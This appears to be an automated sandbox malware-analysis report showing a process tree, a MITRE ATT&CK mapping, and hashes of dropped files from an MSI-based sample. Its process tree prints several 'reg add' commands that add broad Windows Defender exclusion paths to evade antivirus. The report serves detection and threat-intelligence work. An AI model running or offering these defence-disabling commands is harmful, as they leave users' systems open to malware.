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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\CDI9O5" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3444 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\CDI9O5" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4840
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C:\Windows\system32\cmd.execmd.exe1⤵PID:628
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:624 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3376
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2796 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4836
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3796 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4488
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e589f3a.rbs
- Size 7KB
- SHA256 29ed4261e9d61ebf14257e0f4f7f405c4c5b67e6928663ae8b6f28f610bfc6c8
- MD5 b9b7a2f742d3253e28d0637ed9031ce8
- SHA1 8bf147ca5b7354f80cbea55c57427c602d613f65
- SHA512 161b8029bd87cf1ce4eec8ff434bffc0720327534908b94fcbc5caec6d414bca6d95c26a921a8d195533b36c3c514923b0d3fc67d0bb50697b8a3cd1891e2e67
- SSDEEP 96:WSt3uu1e6WSUUwn0D1CsThqFUwn0D1C6je1Hp/ThqlHU25yeWl0lbwCKpljeAbAp:WStTeAz40DIIz40DIxjild3KpIZ
- TLSH T134F1110676144BF2F8E66B75CB0B176637A2D2E6939433DB0CCD80241FC37982E5968E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\CDI9O5\UxEnhance64.dll
- Size 3.1MB
- SHA256 2148af3d955a6dba0f038ed9339f9025250546b816f9fe077b0d78e21ad1c2e0
- MD5 e0f0aae58a7a650aec4f2b169a3df668
- SHA1 0e2cf404ef8714bb09d617ea52b9ec0f5f51731c
- SHA512 daeb8a7db93ebf64a724e8a5f3f24527fdcecce4c5adef1ff4989c7252e58e459392468c4a4ed5714991a59d1002f799e267c13d62d5a855d95cf4594b504370
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+4:P9m29xx3Tiqt06ox6+z2rNNrKo4
- TLSH T13BE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\CDI9O5\adoresd.dat
- Size 4.8MB
- SHA256 d836444b5c3d7243def9de5b0cb8f7860a9ee8ebde8e2ca600f6e9dfb039309a
- MD5 a0b5dc92d8aadd282052586289dc7662
- SHA1 e53f554f5efcd5097a185fa69c3a1ff865b93d1e
- SHA512 2b275b4bad3b629c1509b1dfc517e567851d8648378c6952ad9596ac037046fc5e8ac2bd9325d90d8c49a9c6763a122995f3012e573669863e023114366c0e4e
- SSDEEP 98304:KuZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:HQDPnORb7AdPEm7Y7ltlVgxs
- TLSH T152363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\CDI9O5\d5p9Hu.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\CDI9O5\msadox.tb
- Size 8KB
- SHA256 860ebc5cf65d25c35d866ce2c1bb9ca5e9b2c6ea0029c5e532fb85179f5222b6
- MD5 e431e9871b9567469e59f2e66cbf835b
- SHA1 26f6fa014eaec02a2bb1ba394a7dd13760b77c85
- SHA512 a81a7479122136bd01ba8fad6a82467860e94b557bc3b046c78e915d1ffd48b51f1a559a628a9e5f8df20f3854b283dd014d4194bd62e46b6b8a9d2dbabc0467
- SSDEEP 192:UqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:UsZqZOXQ3uqvR2Kfzp
- TLSH T1C1029E05D7A20CC3D2116C71CD9EB2F5AB13A1DADA3926719C67D4C16B072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIA0A1.tmp
- Size 7.6MB
- SHA256 9b8835ea6895d8dc16ac076f5013b8851c1e49f4290713ecd97e5f01acec4f81
- MD5 dbf189d7b000365e5f6b18c29e07e898
- SHA1 132b244aac1cccca861e2a84faa1ec466a62e846
- SHA512 a2caf62b5d1046d2da0c0b2fbdf443405fe9ba49e43f561573dd79bbc971b5d4927f45177c380c8841f45101165f76f4b357bc687151a523db04a46ab5a1e2f1
- SSDEEP 196608:XvA8KuUBIeMpGZt46NuHbhCpJRWt4zEAYsHCPefrEK:XPKfBIe9y66SJ4CYmzrl
- TLSH T1638633C878CEA2B4D1E3C77546C3345E3D3937D276AA8F1ABD5526002D6223B6739389
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e589f39.msi
- Size 7.7MB
- SHA256 8c000ba7798834425295861755637cb072749e8b17f893ca528cd9bd30a65afb
- MD5 40d23c4b1fc07332708318a93e7b11a3
- SHA1 f43fe662284ad1cc629559b18310ae8f04b3fd03
- SHA512 cf8236f418975b5325d0a60aefa0713619dfe89169eeb0623ea0f9a9f39dc758d05a532ea31b644bd6a7be05d0a66e35cb1eadfd9b5928f9b9aa2c1bb97aa4b1
- SSDEEP 196608:yvA8KuUBIeMpGZt46NuHbhypJRWt4zEAYsHCPefrEC:yPKfBIe9y66qJ4CYmzrt
- TLSH T1628633C87CCDA674C1A3C77546C3645E3D387FD277AA8E1BBA5536002D32236277A289
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 03f4ffaa827d86cc0d6492c2f8a1047f6b3a08ae4963fdd62705653f2e098ab4
- MD5 d5721c9e61dc14a06dfd54691b7de042
- SHA1 abfed1f1de8bde0b6babb77169fb85786f0f3024
- SHA512 ca04a557a4f4abf5335d29f1868e1bcc6159c40ccfcf47c44c91d2b4a091de42efa16392f3bab7c121a07c32037336f10eceb1be3c71e9f1ddbc3e2f30e58bb9
- SSDEEP 24576:Qu8m+1zbdoO/vvTL7WBeU26FA4kDJFhitHmNjegl5Uqwe2YMYvlYpXqhU:g
- TLSH T10747D22432F92510E7F39E3CA8F1AA2389397D579C199E8D05411F4E0961FB1E872F6B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{fef0c820-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{51c5a156-80f6-4d91-ac83-a3b6c0fc5811}_OnDiskSnapshotProp
- Size 6KB
- SHA256 ccfe542b28a4b3437ad05ae23c0b0bb493f377f591a10a453cf08ac182f36753
- MD5 74eb6e27b1258c358e17b563dd6c05ef
- SHA1 4a5b6facb74ad809de0c642a8d6dc4344f403cdb
- SHA512 37c384ebc0f0b2f079eb380b39134f2407ea620d3f07849b69de834a6c29ae2a56eb226424d43a429ed12e842a625e1f1cb6a7cadb433053f3f890648f627abe
- SSDEEP 96:F5cMQlSvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:bVb++ZVm
- TLSH T150D199085AF54711E2B3AB7129F18557A877B811EF33CB8E0198238E2670910F976F6F
- MD5 SHA1 SHA512 SSDEEP TLSH